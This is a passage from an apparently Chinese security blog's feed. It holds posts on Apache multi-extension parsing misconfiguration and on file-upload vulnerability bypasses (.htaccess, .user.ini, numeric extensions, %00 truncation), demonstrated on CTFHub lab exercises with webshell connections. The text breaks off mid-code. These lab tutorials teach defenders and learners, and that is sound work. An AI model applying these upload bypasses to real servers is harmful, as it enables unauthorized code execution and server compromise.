alt="3e0b6376b99ca459bfbfb08201947ec8"></p> <p>但出题人也估计想到了这一点，位于<code>flag.txt</code>设置了权限，没法被直接读取出来。。。。。。。</p> <p><strong>跪谢逆向的同学：L0SJ0K</strong></p> </div></details>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;前言：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;靶场链接：&lt;a href=&quot;https://kalmarc.tf/challenges&quot;&gt;https://kalmarc.tf/challenges&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;难度太大了根本写不出</summary>
      
    
    
    
    <category term="WriteUp" scheme="https://wells.host/categories/WriteUp/"/>
    
    
    <category term="CTF-WriteUp" scheme="https://wells.host/tags/CTF-WriteUp/"/>
    
  </entry>
  
  <entry>
    <title>中间件漏洞</title>
    <link href="https://wells.host/posts/895d3c4b/"/>
    <id>https://wells.host/posts/895d3c4b/</id>
    <published>2024-03-12T13:55:33.000Z</published>
    <updated>2025-08-05T09:16:33.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Apache"><a href="#Apache" class="headerlink" title="Apache"></a>Apache</h1><p>2.0-2.2版本存在个漏洞 CE-2012-0053:</p><p>攻击者可通过向网站植人超大的Cookie,令其HTTP头超过Apache的LititRequestFieldSize (最大请求长度，4192字节)，使得Apache返回400错误，状态页中包含了HttpOnly 保护的Cookie。</p><p><a href="https://httpd.apache.org/docs/2.4/zh-cn/mod/core.html#sethandler">core - Apache HTTP Server 版本 2.4</a></p><h2 id="Apache解析配置漏洞-多后缀名解析配置漏洞"><a href="#Apache解析配置漏洞-多后缀名解析配置漏洞" class="headerlink" title="Apache解析配置漏洞\多后缀名解析配置漏洞"></a>Apache解析配置漏洞\多后缀名解析配置漏洞</h2><h3 id="解析配置漏洞简介"><a href="#解析配置漏洞简介" class="headerlink" title="解析配置漏洞简介"></a>解析配置漏洞简介</h3><p>此漏洞实际为<strong>人为的错误配置导致的漏洞</strong>，与Apache本身无关。</p><p><strong>Apache对于多后缀文件的处理规则是</strong>：<a href="https://httpd.apache.org/docs/2.4/zh-cn/mod/mod_mime.html#multipleext">Files with Multiple Extensions-mod_mime</a></p><blockquote><p>元数据指扩展名映射到关于语言、内容类型、字符集或编码的信息   原文： <em>metadata (language, content type, character set or encoding)</em> </p><p>文件可以有多个扩展名；扩展名的顺序通常是无关紧要的。例如，如果文件 welcome.html.fr 映射到内容类型 text&#x2F;html 和法语，则文件 welcome.fr.html 会映射到完全相同的信息。如果给出了多个映射到相同类型元数据的扩展名，则右边的扩展名将被使用，语言和内容编码除外。例如，如果 .gif 映射到媒体类型 image&#x2F;gif，而 .html 映射到媒体类型 text&#x2F;html，则文件 welcome.gif.html 将与媒体类型 text&#x2F;html 关联。</p><p>语言和内容编码被视为累积的，因为可以为特定资源分配不止一种语言或编码。例如，文件 welcome.html.en.de 将以 Content-Language: en, de 和 Content-Type: text&#x2F;html 交付。</p><p>当一个具有多个扩展名的文件同时与媒体类型和处理程序关联时，应该小心处理。这通常会导致请求由与处理程序关联的模块处理。例如，如果 .imap 扩展名映射到处理程序 imap-file（来自 mod_imagemap），而 .html 扩展名映射到媒体类型 text&#x2F;html，则文件 world.imap.html 将同时与 imap-file 处理程序和 text&#x2F;html 媒体类型关联。处理时，将使用 imap-file 处理程序，因此它将被视为一个 mod_imagemap 图像映射文件。</p><p>如果你希望只有文件名中最后一个点分隔的部分映射到特定的元数据，那么不要使用 Add* 指令。例如，如果你希望文件 foo.html.cgi 被处理为 CGI 脚本，但不希望文件 bar.cgi.html 如此处理，那么不要使用 AddHandler cgi-script .cgi，而是使用</p><p>仅基于最终扩展名SetHandler配置处理程序</p></blockquote><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">&lt;FilesMatch <span class="string">&quot;[^.]+\.cgi$&quot;</span>&gt;</span></span><br><span class="line">  <span class="attribute">SetHandler</span> cgi-script</span><br><span class="line"><span class="section">&lt;/FilesMatch&gt;</span></span><br></pre></td></tr></table></figure><p>Apache对多后缀文件的识别概括来说为：</p><ol><li>Apache允许<strong>文件有多个扩展名</strong>，并且会<strong>将所有后缀名进行识别</strong>，识别的顺序为：<strong>从右到左</strong><ul><li>如： <code>.html.fr</code> 映射到 <code>Content-Type: text/html</code> 和<code>Content-Language: de</code>。</li></ul></li><li>Apache允许扩展名映射到元数据(包括：语言、内容类型、字符集或编码)、处理程序。<ul><li>如 <code>.html</code> 映射到 <code>Content-Type: text/html</code>。</li></ul></li><li>对于<strong>相同类型元数据，以从右到左第一个出现的为准</strong>，但对于<code>语言和内容编码</code>可累积的元数据，将会<strong>叠加</strong>。<ul><li>如：.<code>gif.html</code>根据此规则映射到 <code>Content-Type: text/html</code>。</li><li>​      <code>.html.en.de</code>根据此规则映射到<code>Content-Language: en, de</code> 和 <code>Content-Type: text/html</code></li></ul></li><li>由于映射到处理程序和映射媒体类型，最后的<strong>返回结果</strong>不一致（<em>一个为经过程序处理，一个为返回媒体文件</em>）。当出现不同扩展名映射到处理程序和媒体类型时，<strong>映射到处理程序的优先等级高于映射到媒体类型</strong><ul><li>如：<code>.imap.html</code>扩展名<code>.imap</code> 映射到处理程序 <code>imap-file</code>， <code>.html</code> 映射到<code>Content-Type: text/html</code> ，根据上述原则，<code>.imap.html</code>文件会被<code>imap-file</code>程序处理</li></ul></li></ol><p><strong>按我的理解：元数据（metadata）是用于指示文件的类型或处理方式</strong></p><p>这里我把元数据（metadata）的定义包括了处理方式，根据一下段落合理的进行拓展定义</p><blockquote><p>If you would prefer only the last dot-separated part of the filename to be mapped to a particular piece of meta-data, then do not use the <code>Add*</code> directives. For example, if you wish to have the file <code>foo.html.cgi</code> processed as a CGI script, but not the file <code>bar.cgi.html</code>, then instead of using <code>AddHandler cgi-script .cgi</code></p><p>如果你希望只有文件名中最后一个点分隔的部分映射到特定的元数据，那么不要使用 Add* 指令。例如，如果你希望文件 foo.html.cgi 被处理为 CGI 脚本，但不希望文件 bar.cgi.html 如此处理，那么不要使用 AddHandler cgi-script .cgi</p></blockquote><p><strong>因此当出现多个映射到处理程序，会按照从右到左第一个出现的为准，进行处理程序</strong></p><p><strong>使用</strong> <code>Add*</code> <strong>指令，Apache处理一个文件时会应用上述规则</strong></p><p><code>Add*</code> 指令指的是如：<code>AddType</code>、<code>AddDefaultCharset</code>、<code>AddEncoding</code>、<code>AddHandler</code>、<code>AddOutputFilter</code>、<code>AddLanguage</code>、<code>AddCharset</code>等指令，其中<code>AddHandler</code>设置<strong>对应后缀名映射到处理程序</strong>，如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AddHandler application/x-httpd-php .php</span><br></pre></td></tr></table></figure><p>由此，当用户上传一个<code>a.php.jpg</code>文件时，Apace的配置文件中包含<code>AddHandler</code>处理PHP文件，且未对上传后的文件进行重命名，此时<code>a.php.jpg</code><strong>被解析为一个PHP脚本</strong>，解析漏洞由此而来</p><h3 id="解析配置漏洞条件"><a href="#解析配置漏洞条件" class="headerlink" title="解析配置漏洞条件"></a>解析配置漏洞条件</h3><ul><li>文件没有被重命名</li><li>Apache中配置中含有<code>AddHandler</code>的设置</li></ul><h3 id="解析配置漏洞解决办法"><a href="#解析配置漏洞解决办法" class="headerlink" title="解析配置漏洞解决办法"></a>解析配置漏洞解决办法</h3><ul><li>将上传的文件进行重命名</li><li>根据官方文档的说明，可以使用<code>SetHandler</code>指令来代替<code>AddHandler</code>，因为<code>SetHandler</code><strong>仅根据最右端的后缀名来判断映射的处理程序</strong></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Apache&quot;&gt;&lt;a href=&quot;#Apache&quot; class=&quot;headerlink&quot; title=&quot;Apache&quot;&gt;&lt;/a&gt;Apache&lt;/h1&gt;&lt;p&gt;2.0-2.2版本存在个漏洞 CE-2012-0053:&lt;/p&gt;
&lt;p&gt;攻击者可通过向网站植人超大的Cook</summary>
      
    
    
    
    <category term="web" scheme="https://wells.host/categories/web/"/>
    
    
    <category term="CTF-Web" scheme="https://wells.host/tags/CTF-Web/"/>
    
    <category term="Web-Middleware" scheme="https://wells.host/tags/Web-Middleware/"/>
    
  </entry>
  
  <entry>
    <title>文件上传漏洞</title>
    <link href="https://wells.host/posts/931c692/"/>
    <id>https://wells.host/posts/931c692/</id>
    <published>2024-03-01T12:33:11.000Z</published>
    <updated>2025-08-05T09:16:33.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><h2 id="什么是文件上传漏洞"><a href="#什么是文件上传漏洞" class="headerlink" title="什么是文件上传漏洞"></a>什么是文件上传漏洞</h2><p>文件上传漏洞是指由于对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以<strong>向服务器上传恶意文件并进行执行</strong>，后获得<strong>执行服务端命令的能力</strong>。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。</p><h2 id="产生文件上传漏洞的原因"><a href="#产生文件上传漏洞的原因" class="headerlink" title="产生文件上传漏洞的原因"></a>产生文件上传漏洞的原因</h2><ul><li><strong>不充分的文件验证</strong>：如果应用程序未能正确验证上传文件的类型（如MIME类型或文件扩展名）和内容，攻击者可能会上传执行恶意代码的文件。</li><li><strong>不安全的文件存储</strong>：如果上传的文件存储在可通过Web直接访问的位置，且文件名可预测或未经过适当处理，攻击者可能会执行上传的恶意文件。</li><li><strong>未对权限进行限制</strong>：权限上没有对于上传的文件目录设置不可执行权限。</li></ul><h2 id="例子"><a href="#例子" class="headerlink" title="例子"></a>例子</h2><p><strong>CTFHUB-技能树-WEB-文件上传-无验证</strong></p><p>因为在上传文件后无验证文件信息以及设置动态脚本不可被执行，因此便可直接上传远程木马文件，</p><p><img src="/posts/931c692/image-20240305194710871.png" alt="image-20240305194710871"></p><p>上传后访问此网站路径下的<code>/upload/shell.php</code>发现是空白界面，说明<strong>php文件可以被执行</strong>，此时通过冰蝎进行远程连接</p><p><img src="/posts/931c692/image-20240305194939723.png" alt="image-20240305194939723"></p><p>出现phpinfo页面，说明连接成功，即可获得主机部分权限，转到对应目录读取<code>flag</code></p><p><img src="/posts/931c692/image-20240305195139075.png" alt="image-20240305195139075"></p><h1 id="后端绕过-解析漏洞"><a href="#后端绕过-解析漏洞" class="headerlink" title="后端绕过-解析漏洞"></a>后端绕过-解析漏洞</h1><blockquote><p>解析漏洞通常指的是当应用程序或服务器在处理上传文件时，由于对文件类型的解析不当或不安全，导致攻击者能够上传恶意文件，从而执行不当操作或获取不当权限的安全问题。例如允许用户上传<code>.htaccess</code>文件导致用户可以设置任意文件格式的解析方式</p></blockquote><h2 id="htaccess绕过"><a href="#htaccess绕过" class="headerlink" title=".htaccess绕过"></a>.htaccess绕过</h2><h3 id="htaccess简介"><a href="#htaccess简介" class="headerlink" title=".htaccess简介"></a>.htaccess简介</h3><p><code>.htaccess</code>是一个纯文本文件，它里面存放着Apache服务器配置相关的指令。通过<code>.htaccess</code>可以做到：重写<strong>解析规则</strong>(如：将<code>png</code>文件作为<code>php</code>来进行解析等)、URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。</p><h3 id="htaccess的作用范围"><a href="#htaccess的作用范围" class="headerlink" title=".htaccess的作用范围"></a>.htaccess的作用范围</h3><p><code>.htaccess</code>的生效范围为<code>.htaccess</code>文件所在的当前目录。</p><h3 id="htaccess利用前提"><a href="#htaccess利用前提" class="headerlink" title=".htaccess利用前提"></a>.htaccess利用前提</h3><ul><li>使用<code>Apache</code> 服务器（ 不适用于<code>Nginx</code> 服务器）</li><li>能成功上传<code>.htaccess</code>文件的上传，且没有被重命名</li></ul><h3 id="htaccess使用模板"><a href="#htaccess使用模板" class="headerlink" title=".htaccess使用模板"></a>.htaccess使用模板</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#对于php</span><br><span class="line">AddHandler application/x-httpd-php .html #将html文件作为php文件进行解析</span><br></pre></td></tr></table></figure><h3 id="例题："><a href="#例题：" class="headerlink" title="例题："></a>例题：</h3><p><strong>CTFHUB-技能树-WEB-文件上传-.htaccess</strong></p><p>查看页面源码可以发现页面后端源码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">    &lt;meta charset=&quot;UTF-8&quot;&gt;</span><br><span class="line">    &lt;title&gt;CTFHub 文件上传 - htaccess&lt;/title&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">    &lt;h1&gt;CTFHub 文件上传 - htaccess&lt;/h1&gt;</span><br><span class="line">    &lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;</span><br><span class="line">        &lt;label for=&quot;file&quot;&gt;Filename:&lt;/label&gt;</span><br><span class="line">        &lt;input type=&quot;file&quot; name=&quot;file&quot; id=&quot;file&quot; /&gt;</span><br><span class="line">        &lt;br /&gt;</span><br><span class="line">        &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&gt;</span><br><span class="line">    &lt;/form&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br><span class="line">&lt;!--</span><br><span class="line">if (!empty($_POST[&#x27;submit&#x27;])) &#123;</span><br><span class="line">    $name = basename($_FILES[&#x27;file&#x27;][&#x27;name&#x27;]);</span><br><span class="line">    $ext = pathinfo($name)[&#x27;extension&#x27;];</span><br><span class="line">    $blacklist = array(&quot;php&quot;, &quot;php7&quot;, &quot;php5&quot;, &quot;php4&quot;, &quot;php3&quot;, &quot;phtml&quot;, &quot;pht&quot;, &quot;jsp&quot;, &quot;jspa&quot;, &quot;jspx&quot;, &quot;jsw&quot;, &quot;jsv&quot;, &quot;jspf&quot;, &quot;jtml&quot;, &quot;asp&quot;, &quot;aspx&quot;, &quot;asa&quot;, &quot;asax&quot;, &quot;ascx&quot;, &quot;ashx&quot;, &quot;asmx&quot;, &quot;cer&quot;, &quot;swf&quot;);</span><br><span class="line">    if (!in_array($ext, $blacklist)) &#123;</span><br><span class="line">        if (move_uploaded_file($_FILES[&#x27;file&#x27;][&#x27;tmp_name&#x27;], UPLOAD_PATH . $name)) &#123;</span><br><span class="line">            echo &quot;&lt;script&gt;alert(&#x27;上传成功&#x27;)&lt;/script&gt;&quot;;</span><br><span class="line">            echo &quot;上传文件相对路径&lt;br&gt;&quot; . UPLOAD_URL_PATH . $name;</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">            echo &quot;&lt;script&gt;alert(&#x27;上传失败&#x27;)&lt;/script&gt;&quot;;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; else &#123;</span><br><span class="line">        echo &quot;&lt;script&gt;alert(&#x27;文件类型不匹配&#x27;)&lt;/script&gt;&quot;;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">--&gt;</span><br></pre></td></tr></table></figure><p>在 <code>$blacklist = array(&quot;php&quot;, &quot;php7&quot;, &quot;php5&quot;, &quot;php4&quot;, &quot;php3&quot;, &quot;phtml&quot;, &quot;pht&quot;, &quot;jsp&quot;, &quot;jspa&quot;, &quot;jspx&quot;, &quot;jsw&quot;, &quot;jsv&quot;, &quot;jspf&quot;, &quot;jtml&quot;, &quot;asp&quot;, &quot;aspx&quot;, &quot;asa&quot;, &quot;asax&quot;, &quot;ascx&quot;, &quot;ashx&quot;, &quot;asmx&quot;, &quot;cer&quot;, &quot;swf&quot;);</code>发现大多数的动态执行脚本文件后缀被禁止，但发现<code>.htaccess</code>并没有被禁止，此时可以上传文件<code>.htaccess</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AddType application/x-httpd-php .txt</span><br></pre></td></tr></table></figure><p>再上传含有shell的php代码的<code>txt</code>文件，上传成功后，访问<code>upload/shell.php.txt</code>，无内容显示，说明<code>.txt</code>文件被作为php脚本执行成功，使用冰蝎连接</p><p><img src="/posts/931c692/image-20240305203044058.png"></p><p>成功获取<code>phpinfo</code>页面，连接成功，读取flag</p><h2 id="user-ini绕过"><a href="#user-ini绕过" class="headerlink" title=".user.ini绕过"></a>.user.ini绕过</h2><h3 id="user-ini介绍"><a href="#user-ini介绍" class="headerlink" title=".user.ini介绍"></a>.user.ini介绍</h3><p><code>php.ini</code>是php的一个<strong>全局配置</strong>文件，<strong>对整个web服务起作用</strong>；而<code>.user.ini</code>与<code>.htaccess</code>类似，设置当前目录的配置信息。</p><p>详细参考信息：</p><p><a href="https://www.php.net/manual/zh/configuration.file.per-user.php">PHP: .user.ini 文件 - Manual</a>、<a href="https://segmentfault.com/a/1190000011552335">php - 神秘的.user.ini文件</a></p><p>其中<code>php</code> 配置项中有两个配置可以起到文件包含的作用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">auto_prepend_file = &lt;filename&gt;         //将指定文件包含在该目录中所有php脚本的文件头部</span><br><span class="line">auto_append_file = &lt;filename&gt;          //将指定文件包含在该目录中所有php脚本的文件尾部</span><br></pre></td></tr></table></figure><h3 id="user-ini使用前提"><a href="#user-ini使用前提" class="headerlink" title=".user.ini使用前提"></a>.user.ini使用前提</h3><ul><li>能成功上传<code>.user.ini</code>文件的上传，且没有被重命名</li><li>此目录下已有一个任意的<code>.php</code>文件</li></ul><h3 id="user-ini作用范围"><a href="#user-ini作用范围" class="headerlink" title=".user.ini作用范围"></a>.user.ini作用范围</h3><p>与<code>.htaccess</code>文件相同，<code>.user.ini</code>的生效范围为<code>.user.ini</code>文件所在的当前目录。</p><h3 id="user-ini使用方法"><a href="#user-ini使用方法" class="headerlink" title=".user.ini使用方法"></a>.user.ini使用方法</h3><p>1.首先上传一个含有<code>php</code>代码的任意符合后端检测的文件，以<code>.jpg</code>为例：</p><p>文件名为<code>info.jpg</code>,内容为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php phpinfo();?&gt;</span><br></pre></td></tr></table></figure><p>2.载上传入<code>.user.ini</code>文件，内容为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">auto_prepend_file = info.jpg   </span><br></pre></td></tr></table></figure><p>注：<code>info.jpg</code>需要自己上传问文件名来确定</p><p>3.访问文件上传目录下的任意<code>.php</code>文件即可</p><h3 id="例题：-1"><a href="#例题：-1" class="headerlink" title="例题："></a>例题：</h3><h2 id="数字后缀绕过"><a href="#数字后缀绕过" class="headerlink" title="数字后缀绕过"></a>数字后缀绕过</h2><h3 id="数字后缀简介"><a href="#数字后缀简介" class="headerlink" title="数字后缀简介"></a>数字后缀简介</h3><p>PHP 文件的标准后缀始终是 <code>.php</code>，适用于所有版本的 PHP。然而，在某些特定场景或由某些开发者&#x2F;系统中，使用<code>.php3</code> 、<code>.php5</code> 、<code>.php7</code> 等不是 PHP 语言的标准文件后缀,由于一些特殊的设置<code>.php7</code> 等后缀可被PHP解释器解析</p><h3 id="使用条件："><a href="#使用条件：" class="headerlink" title="使用条件："></a>使用条件：</h3><p>Apache 的配置文件或目录下的<code>.htaccess</code> 文件有添加设置，如<code>.php7</code>可被解析的配置为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AddHandler application/x-httpd-php .php7</span><br></pre></td></tr></table></figure><h2 id="利用中间件漏洞"><a href="#利用中间件漏洞" class="headerlink" title="利用中间件漏洞"></a>利用中间件漏洞</h2><blockquote><p>中间件漏洞是指在计算机系统中使用的中间件软件中存在的安全漏洞。中间件是指位于操作系统和应用程序之间的软件组件，用于提供不同应用程序之间的通信和交互。常见的中间件包括数据库管理系统、Web服务器(如：<code>Apache</code>、<code>Nginx</code>)等。</p></blockquote><p>指路👉<a href="/posts/895d3c4b/">中间件漏洞</a></p><h1 id="后端绕过-软件漏洞"><a href="#后端绕过-软件漏洞" class="headerlink" title="后端绕过-软件漏洞"></a>后端绕过-软件漏洞</h1><blockquote><p>利用PHP某些版本的BUG可以做到一些意想不到的效果。例如，<code>00</code>截断</p></blockquote><h2 id="PHP-00截断绕过"><a href="#PHP-00截断绕过" class="headerlink" title="PHP 00截断绕过"></a>PHP 00截断绕过</h2><div class="tag-plugin link dis-select"><a class="link-card plain" title="感谢Diffany师傅提供的指导,https://gudiffany.github.io/" href="Diffany," cardlink autofill="icon"><div class="left"><span class="title">感谢Diffany师傅提供的指导,https://gudiffany.github.io/</span><span class="cap link footnote">https://wells.host/Diffany,</span></div><div class="right"><div class="lazy img" data-bg="https://gcore.jsdelivr.net/gh/cdn-x/placeholder@1.0.12/link/8f277b4ee0ecd.svg"></div></div></a></div><h3 id="00截断利用条件"><a href="#00截断利用条件" class="headerlink" title="00截断利用条件"></a>00截断利用条件</h3><ul><li>php版本要小于5.3.4，5.3.4及以上已经修复该问题</li><li>PHP的magic_quotes_gpc为OFF状态</li><li>用户可指定上传路径</li></ul><h3 id="00绕过简介"><a href="#00绕过简介" class="headerlink" title="00绕过简介"></a>00绕过简介</h3><p>ASCII中0作为特殊字符保留，表示字符串结束。</p><p>当用户传递文件<strong>上传路径包含</strong><code>00</code>，无论<code>00</code>后存在任何内容文本(或后端直接对<code>00</code>字符串进行拼接其他字符串)，<code>00</code>后的内容都会被截断，最后字符串留下<code>00</code>前的内容且<strong>不包括</strong><code>00</code>。</p><p><strong>以GET方式举例：</strong></p><p>ASCII中的<code>00</code>，无法直接显示，所以使用URL编码，ASCII中<code>00</code>经过url编码后变为<code>%00</code></p><p>页面源码为：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">    <span class="keyword">include</span> <span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>];</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><code>test.txt</code>的内容为</p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">    echo &#x27;SUCCESS&#x27;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p><code>test.txt%00.2.txt</code>的内容为</p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">    echo &#x27;False&#x27;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p><strong>实验1</strong></p><p>此时通过GET传递参数，<code>?file=test.txt%00.2.txt</code></p><p><img src="/posts/931c692/image-20240310203142775.png" alt="image-20240310203142775"></p><p>页面出现SUCCESS，说明<code>include</code>的文件是<code>test.txt</code>，此时<code>file</code>被解析为<code>test.txt</code></p><p><strong>实验2：改变页面源码</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$file</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>] . <span class="string">&#x27;.2.txt&#x27;</span>;</span><br><span class="line">    <span class="keyword">include</span> <span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>];</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>此时通过GET传递参数，<code>?file=test.txt%00</code></p><p><img src="/posts/931c692/image-20240310203219223.png" alt="image-20240310203219223"></p><p>页面还是出现SUCCESS，说明<code>include</code>的文件是<code>test.txt</code>，而不是<code>test.txt.2.txt</code>，此时变量<code>file</code>受<code>$_GET[&#39;file&#39;]</code>中的影响，一同被截断</p><h3 id="00绕过方法"><a href="#00绕过方法" class="headerlink" title="00绕过方法"></a>00绕过方法</h3><h4 id="GET传参保存路径"><a href="#GET传参保存路径" class="headerlink" title="GET传参保存路径"></a>GET传参保存路径</h4><p>后端对文件路径的处理类似为</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$des</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;road&#x27;</span>] . <span class="string">&quot;/对文件名的处理操作......&quot;</span> . <span class="variable">$ext</span>;</span><br></pre></td></tr></table></figure><p>此时<code>road</code>为我们可控的参数，可直接进行使用<code>%00</code>截断</p><p><img src="/posts/931c692/915b5ae1a067f5ffc307790bc7a964df.png" alt="915b5ae1a067f5ffc307790bc7a964df"></p><p>由于使用<code>00</code>截断，所以最后文件保存在<code>/var/www/html/upload</code>,名为<code>shell.php</code>,根据位置，访问<code>/upload/shell.php</code>,即进入我们所在的页面，使用蚁剑连上后，可以找到我们成功截断的<code>shell.php</code></p><p><img src="/posts/931c692/bf5ed62c6866f2d35525c1d4a5505f9b.png" alt="bf5ed62c6866f2d35525c1d4a5505f9b"></p><h4 id="POST传参保存路径"><a href="#POST传参保存路径" class="headerlink" title="POST传参保存路径"></a>POST传参保存路径</h4><p>与GET传参类似的的是：后端对文件路径的处理类似为</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$des</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;road&#x27;</span>] . <span class="string">&quot;/对文件名的处理操作......&quot;</span> . <span class="variable">$ext</span>;</span><br></pre></td></tr></table></figure><p>此时<code>road</code>为我们可控的参数，但与GET传参不同的是，<strong>http请求内包含文件时，POST参数不再被自动解码</strong>，所以POST传参需要使用BP使用查看16进制的请求详情，修改一个十六进制的为<code>00</code></p><p><img src="/posts/931c692/2688a4e300bf53dea64eb094b8d2ae55.png" alt="2688a4e300bf53dea64eb094b8d2ae55"></p><p>步骤一：修改路径添加文件名，写入需要执行的代码语句</p><p><img src="/posts/931c692/6e15d3a27f66fc4152400ddbecb2dbfb.png" alt="6e15d3a27f66fc4152400ddbecb2dbfb"></p><p>步骤一：切换为十六进制模式，修改所需要替换为<code>00</code>的位置</p><p><img src="/posts/931c692/2671bae349c3b99667fdab4ac7d326ea.png" alt="2671bae349c3b99667fdab4ac7d326ea"></p><p>由于使用<code>00</code>截断，所以最后文件保存在<code>/var/www/html/upload</code>,名为<code>test.php</code>,根据位置，访问<code>/upload/test.php</code>,即进入我们所在的页面，可以看到PHP的配置信息，<code>00</code>截断成功</p><p><img src="/posts/931c692/image-20240311000048915.png" alt="image-20240311000048915"></p><h3 id="例题：-2"><a href="#例题：-2" class="headerlink" title="例题："></a>例题：</h3><p><strong>CTFHUB-技能树-WEB-文件上传-00截断</strong></p><p>查看页面源代码发现后端的源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;submit&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$name</span> = <span class="title function_ invoke__">basename</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;name&#x27;</span>]);</span><br><span class="line">    <span class="variable">$info</span> = <span class="title function_ invoke__">pathinfo</span>(<span class="variable">$name</span>);</span><br><span class="line">    <span class="variable">$ext</span> = <span class="variable">$info</span>[<span class="string">&#x27;extension&#x27;</span>];</span><br><span class="line">    <span class="variable">$whitelist</span> = <span class="keyword">array</span>(<span class="string">&quot;jpg&quot;</span>, <span class="string">&quot;png&quot;</span>, <span class="string">&quot;gif&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">in_array</span>(<span class="variable">$ext</span>, <span class="variable">$whitelist</span>)) &#123;</span><br><span class="line">        <span class="variable">$des</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;road&#x27;</span>] . <span class="string">&quot;/&quot;</span> . <span class="title function_ invoke__">rand</span>(<span class="number">10</span>, <span class="number">99</span>) . <span class="title function_ invoke__">date</span>(<span class="string">&quot;YmdHis&quot;</span>) . <span class="string">&quot;.&quot;</span> . <span 